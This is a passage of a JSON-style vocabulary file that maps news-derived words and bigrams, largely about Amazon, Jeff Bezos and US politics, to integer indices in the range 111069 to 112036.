 \"guest linked\": 111069,\n  \"car dealers\": 111070,\n  \"mccain focused\": 111071,\n  \"travel costco\": 111072,\n  \"factory complex\": 111073,\n  \"weekly talks\": 111074,\n  \"putting food\": 111075,\n  \"treats smaller\": 111076,\n  \"movementx\": 111077,\n  \"horrible behaviors\": 111078,\n  \"kelly john\": 111079,\n  \"prestashop\": 111080,\n  \"destroy competition\": 111081,\n  \"blair director\": 111082,\n  \"usa hot\": 111083,\n  \"multiple drugs\": 111084,\n  \"oracle alleges\": 111085,\n  \"senator scott\": 111086,\n  \"billion deliveries\": 111087,\n  \"program highlighted\": 111088,\n  \"hackers 2018\": 111089,\n  \"income year\": 111090,\n  \"including crony\": 111091,\n  \"secret ingredient\": 111092,\n  \"returned uk\": 111093,\n  \"corrupts absolutely\": 111094,\n  \"occasionally cracked\": 111095,\n  \"added wish\": 111096,\n  \"impersonating amazon\": 111097,\n  \"trusted institutions\": 111098,\n  \"concerns government\": 111099,\n  \"postage\": 111100,\n  \"governor david\": 111101,\n  \"mnuchin released\": 111102,\n  \"work cut\": 111103,\n  \"sarsour\": 111104,\n  \"businessman visit\": 111105,\n  \"numbed\": 111106,\n  \"health brand\": 111107,\n  \"insider businessinsider\": 111108,\n  \"expressed optimism\": 111109,\n  \"power companies\": 111110,\n  \"habanero\": 111111,\n  \"deadliest single\": 111112,\n  \"iconic music\": 111113,\n  \"fell\": 111114,\n  \"ec2\": 111115,\n  \"bearish bad\": 111116,\n  \"viral strains\": 111117,\n  \"confirmation flake\": 111118,\n  \"takingplace\": 111119,\n  \"france karamo\": 111120,\n  \"far astray\": 111121,\n  \"facebook executive\": 111122,\n  \"traffic levels\": 111123,\n  \"echo device\": 111124,\n  \"acts emotionally\": 111125,\n  \"hasn spent\": 111126,\n  \"wing ding\": 111127,\n  \"start effecting\": 111128,\n  \"tweak\": 111129,\n  \"seen explicit\": 111130,\n  \"clean virginia\": 111131,\n  \"lurks inside\": 111132,\n  \"acadian asset\": 111133,\n  \"makes powerful\": 111134,\n  \"starbucks chief\": 111135,\n  \"make purchases\": 111136,\n  \"small shopkeepers\": 111137,\n  \"cbs russia\": 111138,\n  \"angela merkel\": 111139,\n  \"business started\": 111140,\n  \"discount tied\": 111141,\n  \"murdoch bernie\": 111142,\n  \"prunderground\": 111143,\n  \"release recordings\": 111144,\n  \"city homeless\": 111145,\n  \"a4ee i8\": 111146,\n  \"foods clash\": 111147,\n  \"videos politics\": 111148,\n  \"created diverse\": 111149,\n  \"illegally microsoft\": 111150,\n  \"formal inquiry\": 111151,\n  \"crowdsourced\": 111152,\n  \"ideas india\": 111153,\n  \"cream shop\": 111154,\n  \"zuker releases\": 111155,\n  \"aside billion\": 111156,\n  \"glory hungry\": 111157,\n  \"documents reveal\": 111158,\n  \"combat fake\": 111159,\n  \"sarah halzack\": 111160,\n  \"lower prices\": 111161,\n  \"picture ap\": 111162,\n  \"binyamin netanyahu\": 111163,\n  \"cavuto live\": 111164,\n  \"tribune ryan\": 111165,\n  \"injured following\": 111166,\n  \"kay henderson\": 111167,\n  \"largest jobs\": 111168,\n  \"geddes\": 111169,\n  \"network mornings\": 111170,\n  \"report warning\": 111171,\n  \"breaks work\": 111172,\n  \"zinke staffer\": 111173,\n  \"athlete\": 111174,\n  \"718 945\": 111175,\n  \"bezos suspect\": 111176,\n  \"electronic souk\": 111177,\n  \"lcd\": 111178,\n  \"dealbreaker dot\": 111179,\n  \"brennan ex\": 111180,\n  \"biotech billionaire\": 111181,\n  \"sacred games\": 111182,\n  \"buy stocks\": 111183,\n  \"velcro\": 111184,\n  \"blackmail efforts\": 111185,\n  \"hour prime\": 111186,\n  \"reduced fee\": 111187,\n  \"depreciation tax\": 111188,\n  \"sinclair changing\": 111189,\n  \"course demanded\": 111190,\n  \"incremental costs\": 111191,\n  \"tesla mod\": 111192,\n  \"learn german\": 111193,\n  \"america main\": 111194,\n  \"tin pot\": 111195,\n  \"la lawyer\": 111196,\n  \"thinks tyger\": 111197,\n  \"advisers roger\": 111198,\n  \"winning true\": 111199,\n  \"likewise according\": 111200,\n  \"kline stands\": 111201,\n  \"headquarters police\": 111202,\n  \"large retailer\": 111203,\n  \"reporting butthis\": 111204,\n  \"salting\": 111205,\n  \"sanders caucuses\": 111206,\n  \"kenosha county\": 111207,\n  \"news far\": 111208,\n  \"coverage playbook\": 111209,\n  \"canvassing boards\": 111210,\n  \"2018 income\": 111211,\n  \"kron4 james\": 111212,\n  \"joseph\": 111213,\n  \"mexico\": 111214,\n  \"gunshots\": 111215,\n  \"withdrew\": 111216,\n  \"using technology\": 111217,\n  \"2007 double\": 111218,\n  \"tells pymnts\": 111219,\n  \"truth nation\": 111220,\n  \"000 mail\": 111221,\n  \"highest rent\": 111222,\n  \"profit year\": 111223,\n  \"cohen implicated\": 111224,\n  \"ipo uber\": 111225,\n  \"say 2018\": 111226,\n  \"management customer\": 111227,\n  \"thumbnail\": 111228,\n  \"thing did\": 111229,\n  \"faux model\": 111230,\n  \"brauer\": 111231,\n  \"gawker\": 111232,\n  \"angie wang\": 111233,\n  \"tomay\": 111234,\n  \"scattershot\": 111235,\n  \"collect new\": 111236,\n  \"sending message\": 111237,\n  \"internet fairness\": 111238,\n  \"deal folly\": 111239,\n  \"simply negotiation\": 111240,\n  \"amazon case\": 111241,\n  \"fruitful\": 111242,\n  \"2016 100\": 111243,\n  \"aljazeera\": 111244,\n  \"sanctions story\": 111245,\n  \"390\": 111246,\n  \"right devices\": 111247,\n  \"help residents\": 111248,\n  \"installing cameras\": 111249,\n  \"categories toys\": 111250,\n  \"safety certified\": 111251,\n  \"advertising businesses\": 111252,\n  \"night results\": 111253,\n  \"lidiane\": 111254,\n  \"wayfair mem\": 111255,\n  \"history ushering\": 111256,\n  \"economic revival\": 111257,\n  \"virginia home\": 111258,\n  \"northeast section\": 111259,\n  \"chinese shipping\": 111260,\n  \"election firsts\": 111261,\n  \"abortion just\": 111262,\n  \"clear returns\": 111263,\n  \"predictor\": 111264,\n  \"journalists say\": 111265,\n  \"dominion bank\": 111266,\n  \"consultants technology\": 111267,\n  \"order enter\": 111268,\n  \"suiting\": 111269,\n  \"beijing ambitions\": 111270,\n  \"subpoena government\": 111271,\n  \"objections\": 111272,\n  \"limp\": 111273,\n  \"story microsoft\": 111274,\n  \"recent quarter\": 111275,\n  \"nyt decision\": 111276,\n  \"creeps\": 111277,\n  \"automatic firearms\": 111278,\n  \"north divorce\": 111279,\n  \"calendar flips\": 111280,\n  \"targeting 110\": 111281,\n  \"company global\": 111282,\n  \"advertising agencies\": 111283,\n  \"says\": 111284,\n  \"democrats steele\": 111285,\n  \"hold children\": 111286,\n  \"pheffer amato\": 111287,\n  \"cymru iq\": 111288,\n  \"insert\": 111289,\n  \"inuit game\": 111290,\n  \"masturbates\": 111291,\n  \"elgin courier\": 111292,\n  \"undeniably dynamic\": 111293,\n  \"currently used\": 111294,\n  \"wb\": 111295,\n  \"plunkett president\": 111296,\n  \"sneakers louis\": 111297,\n  \"unexpected ways\": 111298,\n  \"transferring\": 111299,\n  \"fbi informant\": 111300,\n  \"previously stated\": 111301,\n  \"abramson describes\": 111302,\n  \"explicit descriptions\": 111303,\n  \"months worth\": 111304,\n  \"davis coollikemiles\": 111305,\n  \"foreclosures mounted\": 111306,\n  \"musings\": 111307,\n  \"b7a\": 111308,\n  \"larger refund\": 111309,\n  \"moon surface\": 111310,\n  \"direct benefit\": 111311,\n  \"attractions\": 111312,\n  \"optimising\": 111313,\n  \"message read\": 111314,\n  \"comcast nasdaq\": 111315,\n  \"moser think\": 111316,\n  \"walmart experienced\": 111317,\n  \"growth guidance\": 111318,\n  \"really prosper\": 111319,\n  \"refresher trump\": 111320,\n  \"downtown seattle\": 111321,\n  \"practice manikin\": 111322,\n  \"visionaries\": 111323,\n  \"inferential despite\": 111324,\n  \"sincerely\": 111325,\n  \"opened just\": 111326,\n  \"trade unions\": 111327,\n  \"responded forcefully\": 111328,\n  \"video ads\": 111329,\n  \"famously saying\": 111330,\n  \"overturn\": 111331,\n  \"skunk\": 111332,\n  \"federation curses\": 111333,\n  \"alibaba earned\": 111334,\n  \"office earlier\": 111335,\n  \"making profit\": 111336,\n  \"idc alliance\": 111337,\n  \"related half\": 111338,\n  \"telephones\": 111339,\n  \"videocollection\": 111340,\n  \"ser\": 111341,\n  \"525 billion\": 111342,\n  \"cards told\": 111343,\n  \"desmond lachman\": 111344,\n  \"vendors\": 111345,\n  \"shortened\": 111346,\n  \"breathtakingly awful\": 111347,\n  \"enforcing\": 111348,\n  \"buys majority\": 111349,\n  \"santa\": 111350,\n  \"age delivered\": 111351,\n  \"mind does\": 111352,\n  \"johnson looks\": 111353,\n  \"amazon math\": 111354,\n  \"deep dive\": 111355,\n  \"chairman joe\": 111356,\n  \"argued harold\": 111357,\n  \"campaign supervisors\": 111358,\n  \"costs putting\": 111359,\n  \"cravetv\": 111360,\n  \"bezoses\": 111361,\n  \"queens alongside\": 111362,\n  \"amazon chart\": 111363,\n  \"rosenberger\": 111364,\n  \"media briefly\": 111365,\n  \"word searches\": 111366,\n  \"strike switzerland\": 111367,\n  \"results raise\": 111368,\n  \"message large\": 111369,\n  \"pence united\": 111370,\n  \"guidance capital\": 111371,\n  \"communications chief\": 111372,\n  \"uni global\": 111373,\n  \"000 shops\": 111374,\n  \"icymi google\": 111375,\n  \"diffusing sack\": 111376,\n  \"outed souder\": 111377,\n  \"sanchez indicating\": 111378,\n  \"cronyism hope\": 111379,\n  \"holding corp\": 111380,\n  \"ron wyden\": 111381,\n  \"sulforaphane\": 111382,\n  \"behavior including\": 111383,\n  \"hunting\": 111384,\n  \"modeling\": 111385,\n  \"hotseat\": 111386,\n  \"transitions\": 111387,\n  \"entire oakland\": 111388,\n  \"morning taking\": 111389,\n  \"remain transfixed\": 111390,\n  \"taking brave\": 111391,\n  \"fund drive\": 111392,\n  \"theorists\": 111393,\n  \"harry peak\": 111394,\n  \"chief paul\": 111395,\n  \"lira collapse\": 111396,\n  \"obama immigration\": 111397,\n  \"amazon stores\": 111398,\n  \"casino jobs\": 111399,\n  \"photographer david\": 111400,\n  \"badcustomerexperience onlineshopping\": 111401,\n  \"fulfillment centers\": 111402,\n  \"competitive landscape\": 111403,\n  \"orient\": 111404,\n  \"amazon operation\": 111405,\n  \"refuted bezos\": 111406,\n  \"improve conditions\": 111407,\n  \"doorstep mail\": 111408,\n  \"positive change\": 111409,\n  \"official andrew\": 111410,\n  \"estate bargains\": 111411,\n  \"iphone obsolete\": 111412,\n  \"hotel room\": 111413,\n  \"harm corporate\": 111414,\n  \"early start\": 111415,\n  \"google builds\": 111416,\n  \"texas border\": 111417,\n  \"worldwide package\": 111418,\n  \"best investment\": 111419,\n  \"perceived american\": 111420,\n  \"2635 101\": 111421,\n  \"midtown new\": 111422,\n  \"ad based\": 111423,\n  \"prime ministers\": 111424,\n  \"extensive revenues\": 111425,\n  \"built war\": 111426,\n  \"cloud operations\": 111427,\n  \"zack colman\": 111428,\n  \"000 migrants\": 111429,\n  \"space exploration\": 111430,\n  \"overplayed\": 111431,\n  \"complete whitaker\": 111432,\n  \"team led\": 111433,\n  \"tank institute\": 111434,\n  \"washington following\": 111435,\n  \"charismatic\": 111436,\n  \"monitor undocumented\": 111437,\n  \"frenzy amazons\": 111438,\n  \"minutes scheduled\": 111439,\n  \"documents including\": 111440,\n  \"ithink\": 111441,\n  \"stab\": 111442,\n  \"download film\": 111443,\n  \"central television\": 111444,\n  \"shares olivia\": 111445,\n  \"photo film\": 111446,\n  \"couple\": 111447,\n  \"says twitter\": 111448,\n  \"president clinton\": 111449,\n  \"facebook pays\": 111450,\n  \"463 million\": 111451,\n  \"calif nearby\": 111452,\n  \"juggernaut growing\": 111453,\n  \"cilantro ice\": 111454,\n  \"government contained\": 111455,\n  \"told spain\": 111456,\n  \"pro energy\": 111457,\n  \"summer members\": 111458,\n  \"market read\": 111459,\n  \"selling foie\": 111460,\n  \"bezos detractors\": 111461,\n  \"wage did\": 111462,\n  \"fruity\": 111463,\n  \"1927 riddance\": 111464,\n  \"official maybewasn\": 111465,\n  \"gao hacked\": 111466,\n  \"sordid\": 111467,\n  \"build supportive\": 111468,\n  \"parent sign\": 111469,\n  \"books reach\": 111470,\n  \"mao\": 111471,\n  \"boots alliance\": 111472,\n  \"shipping pact\": 111473,\n  \"gorelick\": 111474,\n  \"motivated ami\": 111475,\n  \"blue hair\": 111476,\n  \"hottest streetwear\": 111477,\n  \"undercover raid\": 111478,\n  \"shawn\": 111479,\n  \"videogames\": 111480,\n  \"operations impact\": 111481,\n  \"affected amazon\": 111482,\n  \"union european\": 111483,\n  \"death sentence\": 111484,\n  \"day getting\": 111485,\n  \"davis pages\": 111486,\n  \"financial difficulties\": 111487,\n  \"amazon department\": 111488,\n  \"425\": 111489,\n  \"time allen\": 111490,\n  \"president intense\": 111491,\n  \"engine currently\": 111492,\n  \"long lived\": 111493,\n  \"perjury\": 111494,\n  \"2018 year\": 111495,\n  \"large organic\": 111496,\n  \"reportedly oppressive\": 111497,\n  \"husband whitesell\": 111498,\n  \"reignite\": 111499,\n  \"c000212486 c000214761\": 111500,\n  \"clues\": 111501,\n  \"washington mayor\": 111502,\n  \"cnn additional\": 111503,\n  \"big consequences\": 111504,\n  \"smoke smoke\": 111505,\n  \"cia chief\": 111506,\n  \"include sanchez\": 111507,\n  \"dire\": 111508,\n  \"documenting\": 111509,\n  \"notably physical\": 111510,\n  \"wild week\": 111511,\n  \"organization finances\": 111512,\n  \"losses trump\": 111513,\n  \"general services\": 111514,\n  \"asking users\": 111515,\n  \"executive meng\": 111516,\n  \"ian bald\": 111517,\n  \"based products\": 111518,\n  \"gross domestic\": 111519,\n  \"americans reaped\": 111520,\n  \"bezos addresses\": 111521,\n  \"better yes\": 111522,\n  \"physical relationship\": 111523,\n  \"lost economic\": 111524,\n  \"online tool\": 111525,\n  \"awesome\": 111526,\n  \"court ipec\": 111527,\n  \"overwhelmingly popular\": 111528,\n  \"naples glob\": 111529,\n  \"novartis\": 111530,\n  \"red tagging\": 111531,\n  \"housing development\": 111532,\n  \"anna\": 111533,\n  \"records obtained\": 111534,\n  \"facebook cheap\": 111535,\n  \"tgiles5\": 111536,\n  \"anderson\": 111537,\n  \"commerce totaled\": 111538,\n  \"says thank\": 111539,\n  \"secret military\": 111540,\n  \"viable prospects\": 111541,\n  \"brexit supporters\": 111542,\n  \"don stick\": 111543,\n  \"svc commission\": 111544,\n  \"gay hispanic\": 111545,\n  \"perform variety\": 111546,\n  \"trail\": 111547,\n  \"formatting\": 111548,\n  \"data management\": 111549,\n  \"dependency\": 111550,\n  \"using data\": 111551,\n  \"super contentious\": 111552,\n  \"trolled president\": 111553,\n  \"washington david\": 111554,\n  \"sf demanding\": 111555,\n  \"political drama\": 111556,\n  \"cola ceo\": 111557,\n  \"2018 talk\": 111558,\n  \"mm 101\": 111559,\n  \"videndslate removeclass\": 111560,\n  \"ended quarter\": 111561,\n  \"total available\": 111562,\n  \"post helps\": 111563,\n  \"years years\": 111564,\n  \"phone settings\": 111565,\n  \"promote pedophilia\": 111566,\n  \"cheap shipping\": 111567,\n  \"season debut\": 111568,\n  \"union recommendations\": 111569,\n  \"academic study\": 111570,\n  \"trump assistant\": 111571,\n  \"tow\": 111572,\n  \"access 1868\": 111573,\n  \"main aim\": 111574,\n  \"total wealth\": 111575,\n  \"imagealt seattle\": 111576,\n  \"department\": 111577,\n  \"hard pass\": 111578,\n  \"canada manager\": 111579,\n  \"beauty euro\": 111580,\n  \"activism hit\": 111581,\n  \"promote giving\": 111582,\n  \"differentiates place\": 111583,\n  \"toronto skyscraper\": 111584,\n  \"fried chicken\": 111585,\n  \"stitcher radio\": 111586,\n  \"working cultures\": 111587,\n  \"half monopoly\": 111588,\n  \"cares david\": 111589,\n  \"ct 548\": 111590,\n  \"bloomberg antitrust\": 111591,\n  \"growth perspective\": 111592,\n  \"prison dems\": 111593,\n  \"needed reminder\": 111594,\n  \"met maximale\": 111595,\n  \"deals eliminating\": 111596,\n  \"good reagan\": 111597,\n  \"fannie mae\": 111598,\n  \"swift meet\": 111599,\n  \"mining firm\": 111600,\n  \"bradford check\": 111601,\n  \"gregobagel amazon\": 111602,\n  \"corey stewart\": 111603,\n  \"access pacer\": 111604,\n  \"2018 season\": 111605,\n  \"bloomua king\": 111606,\n  \"action adaptation\": 111607,\n  \"important trump\": 111608,\n  \"gawande wrote\": 111609,\n  \"alien registration\": 111610,\n  \"international offerings\": 111611,\n  \"aggressively pursued\": 111612,\n  \"nyt actually\": 111613,\n  \"getting great\": 111614,\n  \"canadian broadcasting\": 111615,\n  \"information gathering\": 111616,\n  \"promise service\": 111617,\n  \"staff photo\": 111618,\n  \"inventories\": 111619,\n  \"gasp\": 111620,\n  \"currently walmart\": 111621,\n  \"impose civil\": 111622,\n  \"pennyfarthing\": 111623,\n  \"companies secure\": 111624,\n  \"computing contractor\": 111625,\n  \"girl wash\": 111626,\n  \"assemblyman michael\": 111627,\n  \"disaster funding\": 111628,\n  \"deliver goods\": 111629,\n  \"watch factors\": 111630,\n  \"marine fighter\": 111631,\n  \"bunny\": 111632,\n  \"followed stories\": 111633,\n  \"declaration congress\": 111634,\n  \"bonds right\": 111635,\n  \"effectively dead\": 111636,\n  \"ateurobiz sheffieldissuper\": 111637,\n  \"trump advisors\": 111638,\n  \"recently target\": 111639,\n  \"poliltical commentator\": 111640,\n  \"trc0\": 111641,\n  \"artificial christmas\": 111642,\n  \"car brands\": 111643,\n  \"remotely china\": 111644,\n  \"amerika president\": 111645,\n  \"dana perino\": 111646,\n  \"summit congress\": 111647,\n  \"dws investment\": 111648,\n  \"greater antitrust\": 111649,\n  \"antitrust allegations\": 111650,\n  \"wristbands\": 111651,\n  \"lorena bobbitt\": 111652,\n  \"thomas reddick\": 111653,\n  \"health disability\": 111654,\n  \"powerpoint presentations\": 111655,\n  \"mour\\u00e3o\": 111656,\n  \"committee plans\": 111657,\n  \"tumble nearly\": 111658,\n  \"games issa\": 111659,\n  \"wide swaths\": 111660,\n  \"jackson\": 111661,\n  \"considerable presence\": 111662,\n  \"signup delivery\": 111663,\n  \"192 e8\": 111664,\n  \"large internet\": 111665,\n  \"competitor businesses\": 111666,\n  \"hasn 8217\": 111667,\n  \"richardson dwellings\": 111668,\n  \"amazon arrangement\": 111669,\n  \"industries according\": 111670,\n  \"politician josep\": 111671,\n  \"sent sanchez\": 111672,\n  \"photographer andrew\": 111673,\n  \"ian fleming\": 111674,\n  \"workers panel\": 111675,\n  \"photographs couple\": 111676,\n  \"bezos man\": 111677,\n  \"conversations convinced\": 111678,\n  \"hippie sandals\": 111679,\n  \"central americans\": 111680,\n  \"train stop\": 111681,\n  \"specific freedoms\": 111682,\n  \"reporting isn\": 111683,\n  \"stunt global\": 111684,\n  \"subsidiary nbcuniversal\": 111685,\n  \"gain extensive\": 111686,\n  \"diapers carell\": 111687,\n  \"person rep\": 111688,\n  \"plays convicted\": 111689,\n  \"airline prime\": 111690,\n  \"land commission\": 111691,\n  \"people member\": 111692,\n  \"work trabajo\": 111693,\n  \"keepers\": 111694,\n  \"including drones\": 111695,\n  \"moscow prompted\": 111696,\n  \"truly horrible\": 111697,\n  \"sports fan\": 111698,\n  \"campaign make\": 111699,\n  \"184 ken\": 111700,\n  \"won work\": 111701,\n  \"circulating\": 111702,\n  \"additionally variations\": 111703,\n  \"enquirer absurd\": 111704,\n  \"krichiver synagogue\": 111705,\n  \"addition markets\": 111706,\n  \"student climate\": 111707,\n  \"pagourtzis reportedly\": 111708,\n  \"treatment people\": 111709,\n  \"dispute\": 111710,\n  \"cctv body\": 111711,\n  \"finds impeachable\": 111712,\n  \"sorta secure\": 111713,\n  \"foundation think\": 111714,\n  \"profits records\": 111715,\n  \"department lawsuit\": 111716,\n  \"book proof\": 111717,\n  \"specifically suggested\": 111718,\n  \"cleveland plain\": 111719,\n  \"atvi\": 111720,\n  \"t5q 128\": 111721,\n  \"taking sides\": 111722,\n  \"demonic satanic\": 111723,\n  \"commerce era\": 111724,\n  \"traditional lengthy\": 111725,\n  \"caused pronounced\": 111726,\n  \"evan goldberg\": 111727,\n  \"designer brother\": 111728,\n  \"deal latertoday\": 111729,\n  \"turning_point_taylor_collins_poster_600_387892\": 111730,\n  \"offered proof\": 111731,\n  \"governor billy\": 111732,\n  \"newsgathering\": 111733,\n  \"trail fact\": 111734,\n  \"diego synagogue\": 111735,\n  \"exclusive model\": 111736,\n  \"diversification key\": 111737,\n  \"shared details\": 111738,\n  \"placating response\": 111739,\n  \"long distances\": 111740,\n  \"sergeants benevolent\": 111741,\n  \"office chairs\": 111742,\n  \"tjl domain\": 111743,\n  \"story thanks\": 111744,\n  \"petition\": 111745,\n  \"spring consumer\": 111746,\n  \"greenspan\": 111747,\n  \"domestic export\": 111748,\n  \"nazis promoted\": 111749,\n  \"financial group\": 111750,\n  \"include tesla\": 111751,\n  \"devices just\": 111752,\n  \"include online\": 111753,\n  \"trend provided\": 111754,\n  \"enforcement defense\": 111755,\n  \"report wrongdoing\": 111756,\n  \"delong boeing\": 111757,\n  \"uncorroborated\": 111758,\n  \"trump removal\": 111759,\n  \"characters used\": 111760,\n  \"sickening\": 111761,\n  \"replace kennedy\": 111762,\n  \"total investment\": 111763,\n  \"bezos donates\": 111764,\n  \"crawling\": 111765,\n  \"imported\": 111766,\n  \"california net\": 111767,\n  \"large netflix\": 111768,\n  \"sparked anti\": 111769,\n  \"sensational theory\": 111770,\n  \"obtained 300\": 111771,\n  \"competitive regulators\": 111772,\n  \"pearlstein wrote\": 111773,\n  \"startled\": 111774,\n  \"natl bank\": 111775,\n  \"mark polizzotti\": 111776,\n  \"jamey\": 111777,\n  \"poor deals\": 111778,\n  \"follows pattern\": 111779,\n  \"different vision\": 111780,\n  \"annual\": 111781,\n  \"spark lawsuits\": 111782,\n  \"tm disclose\": 111783,\n  \"barker\": 111784,\n  \"stores right\": 111785,\n  \"congress applauded\": 111786,\n  \"kavanaugh yelled\": 111787,\n  \"say follow\": 111788,\n  \"year olds\": 111789,\n  \"horrifying human\": 111790,\n  \"amazon ai\": 111791,\n  \"clooney\": 111792,\n  \"clienty screenx\": 111793,\n  \"denim\": 111794,\n  \"danish\": 111795,\n  \"credit nancy\": 111796,\n  \"inc_custom_css null\": 111797,\n  \"american ebitda\": 111798,\n  \"turbine\": 111799,\n  \"dhl metro\": 111800,\n  \"nasdaq orcl\": 111801,\n  \"reference broader\": 111802,\n  \"giant boeing\": 111803,\n  \"ethics debacle\": 111804,\n  \"trillion president\": 111805,\n  \"staff cnnmoney\": 111806,\n  \"relelased stories\": 111807,\n  \"technology terrorism\": 111808,\n  \"work pluck\": 111809,\n  \"quarterly reporting\": 111810,\n  \"political foes\": 111811,\n  \"narratives google\": 111812,\n  \"seen including\": 111813,\n  \"connolly wrote\": 111814,\n  \"square kiss\": 111815,\n  \"typical worker\": 111816,\n  \"offers nonfiction\": 111817,\n  \"opinion quinnipiac\": 111818,\n  \"trail nomadix\": 111819,\n  \"tal\": 111820,\n  \"threshold\": 111821,\n  \"safety privacy\": 111822,\n  \"circles khashoggi\": 111823,\n  \"visited chicago\": 111824,\n  \"tobinben\": 111825,\n  \"meeting discussions\": 111826,\n  \"america company\": 111827,\n  \"property appraiser\": 111828,\n  \"stalled fortune\": 111829,\n  \"constituted\": 111830,\n  \"536 reduced\": 111831,\n  \"md rick\": 111832,\n  \"religious order\": 111833,\n  \"colleges\": 111834,\n  \"industrial\": 111835,\n  \"deterred\": 111836,\n  \"turd\": 111837,\n  \"speculation began\": 111838,\n  \"terrestrial stores\": 111839,\n  \"rapidly escalated\": 111840,\n  \"birthdays caa\": 111841,\n  \"oatmeal snacks\": 111842,\n  \"age people\": 111843,\n  \"alarming amazon\": 111844,\n  \"slipping ahead\": 111845,\n  \"ecommerce site\": 111846,\n  \"complaint bezos\": 111847,\n  \"chosen hq2\": 111848,\n  \"soon threatened\": 111849,\n  \"donning trump\": 111850,\n  \"reality reinstate\": 111851,\n  \"mobile wallets\": 111852,\n  \"advise\": 111853,\n  \"ratajkowski\": 111854,\n  \"person hanging\": 111855,\n  \"today city\": 111856,\n  \"sebastian senior\": 111857,\n  \"intelligence turing\": 111858,\n  \"rochester\": 111859,\n  \"kid versions\": 111860,\n  \"source joe\": 111861,\n  \"hour snowfall\": 111862,\n  \"deal veto\": 111863,\n  \"konst satc\": 111864,\n  \"diseases\": 111865,\n  \"candy kelly\": 111866,\n  \"raw power\": 111867,\n  \"expanded drink\": 111868,\n  \"enquirer shows\": 111869,\n  \"elections warren\": 111870,\n  \"half truths\": 111871,\n  \"contrast offers\": 111872,\n  \"regulatory sway\": 111873,\n  \"negotiating better\": 111874,\n  \"damaging ballot\": 111875,\n  \"spiked 181\": 111876,\n  \"sunscreen\": 111877,\n  \"predictable marriage\": 111878,\n  \"million credit\": 111879,\n  \"include probe\": 111880,\n  \"juul thank\": 111881,\n  \"film streaming\": 111882,\n  \"angeles capital\": 111883,\n  \"rips\": 111884,\n  \"video titled\": 111885,\n  \"time monopolistic\": 111886,\n  \"zombie apocalypse\": 111887,\n  \"wording\": 111888,\n  \"inadequate pay\": 111889,\n  \"2018 antonio\": 111890,\n  \"good sellers\": 111891,\n  \"notification resulted\": 111892,\n  \"wa workers\": 111893,\n  \"1062349739600044033\": 111894,\n  \"daughter\": 111895,\n  \"jeanine pirro\": 111896,\n  \"nita\": 111897,\n  \"inventory cars\": 111898,\n  \"mrl\": 111899,\n  \"foundation gates\": 111900,\n  \"buckingham asset\": 111901,\n  \"areas bezos\": 111902,\n  \"huffingtonpost londonthenews\": 111903,\n  \"boycott recently\": 111904,\n  \"sanders specifically\": 111905,\n  \"erupt\": 111906,\n  \"cameras started\": 111907,\n  \"publish photos\": 111908,\n  \"profitable customers\": 111909,\n  \"weekly game\": 111910,\n  \"gass reader\": 111911,\n  \"stormzy attend\": 111912,\n  \"badger bezos\": 111913,\n  \"nick saban\": 111914,\n  \"amazon apple\": 111915,\n  \"transfer wealth\": 111916,\n  \"happy valentine\": 111917,\n  \"time historically\": 111918,\n  \"year cloud\": 111919,\n  \"fox harris\": 111920,\n  \"unseat\": 111921,\n  \"owner jeffrey\": 111922,\n  \"serviceincreased\": 111923,\n  \"trump miracle\": 111924,\n  \"woes drag\": 111925,\n  \"interesting morning\": 111926,\n  \"later gone\": 111927,\n  \"light confirming\": 111928,\n  \"great heights\": 111929,\n  \"based echo\": 111930,\n  \"saturdaynight\": 111931,\n  \"heptio told\": 111932,\n  \"democrats path\": 111933,\n  \"teammoya\": 111934,\n  \"craig russell\": 111935,\n  \"important documentarian\": 111936,\n  \"ambitious controversial\": 111937,\n  \"canyon\": 111938,\n  \"convenient commerce\": 111939,\n  \"buyer recent\": 111940,\n  \"a2 var\": 111941,\n  \"juggernaut\": 111942,\n  \"surveillance bezos\": 111943,\n  \"kareem\": 111944,\n  \"black plastic\": 111945,\n  \"desk manned\": 111946,\n  \"prentice\": 111947,\n  \"cancel automatic\": 111948,\n  \"federal gift\": 111949,\n  \"losing jobs\": 111950,\n  \"soften\": 111951,\n  \"amazons stock\": 111952,\n  \"exchange required\": 111953,\n  \"incidentally doesn\": 111954,\n  \"sees worst\": 111955,\n  \"women human\": 111956,\n  \"23am\": 111957,\n  \"pipeline\": 111958,\n  \"subsidize\": 111959,\n  \"agency amazon\": 111960,\n  \"permitted\": 111961,\n  \"house effort\": 111962,\n  \"benefit costs\": 111963,\n  \"attempt detailed\": 111964,\n  \"msnbc follow\": 111965,\n  \"existence\": 111966,\n  \"finding freedom\": 111967,\n  \"using accounting\": 111968,\n  \"knockoff listings\": 111969,\n  \"ago ibm\": 111970,\n  \"science spelling\": 111971,\n  \"fell facebook\": 111972,\n  \"america\\u00e2 health\": 111973,\n  \"illeana douglas\": 111974,\n  \"dershowitz wrote\": 111975,\n  \"bizarre new\": 111976,\n  \"little plastic\": 111977,\n  \"sees super\": 111978,\n  \"evelyn\": 111979,\n  \"seattle technology\": 111980,\n  \"maker says\": 111981,\n  \"market capitalisation\": 111982,\n  \"electronics introduces\": 111983,\n  \"commercial rents\": 111984,\n  \"corp lobbied\": 111985,\n  \"action romance\": 111986,\n  \"house representative\": 111987,\n  \"consider google\": 111988,\n  \"giant sanders\": 111989,\n  \"good example\": 111990,\n  \"confirmation amazon\": 111991,\n  \"house written\": 111992,\n  \"cable management\": 111993,\n  \"linking\": 111994,\n  \"virtual assistant\": 111995,\n  \"summit plus\": 111996,\n  \"contested area\": 111997,\n  \"change skepticism\": 111998,\n  \"protestant\": 111999,\n  \"possible privacy\": 112000,\n  \"poorer tweeted\": 112001,\n  \"need long\": 112002,\n  \"licensed veterans\": 112003,\n  \"syna ctrn\": 112004,\n  \"shareholders depending\": 112005,\n  \"wsj niharika\": 112006,\n  \"kavanaugh trump\": 112007,\n  \"sherman trump\": 112008,\n  \"moron 101\": 112009,\n  \"meghan\": 112010,\n  \"taking billions\": 112011,\n  \"jennifer peltz\": 112012,\n  \"135 shares\": 112013,\n  \"leak according\": 112014,\n  \"precious dvd\": 112015,\n  \"appropriate innovations\": 112016,\n  \"treaty president\": 112017,\n  \"washington philadelphia\": 112018,\n  \"reportedthis\": 112019,\n  \"just journalists\": 112020,\n  \"suggests amazon\": 112021,\n  \"mean higher\": 112022,\n  \"kawasaki\": 112023,\n  \"driving nasdaq\": 112024,\n  \"creepy ability\": 112025,\n  \"obtained documents\": 112026,\n  \"annual wage\": 112027,\n  \"tilting elections\": 112028,\n  \"date rise\": 112029,\n  \"mutual release\": 112030,\n  \"fight business\": 112031,\n  \"byline maria\": 112032,\n  \"require female\": 112033,\n  \"price underperformed\": 112034,\n  \"trump support\": 112035,\n  \"private polling\": 112036,\n  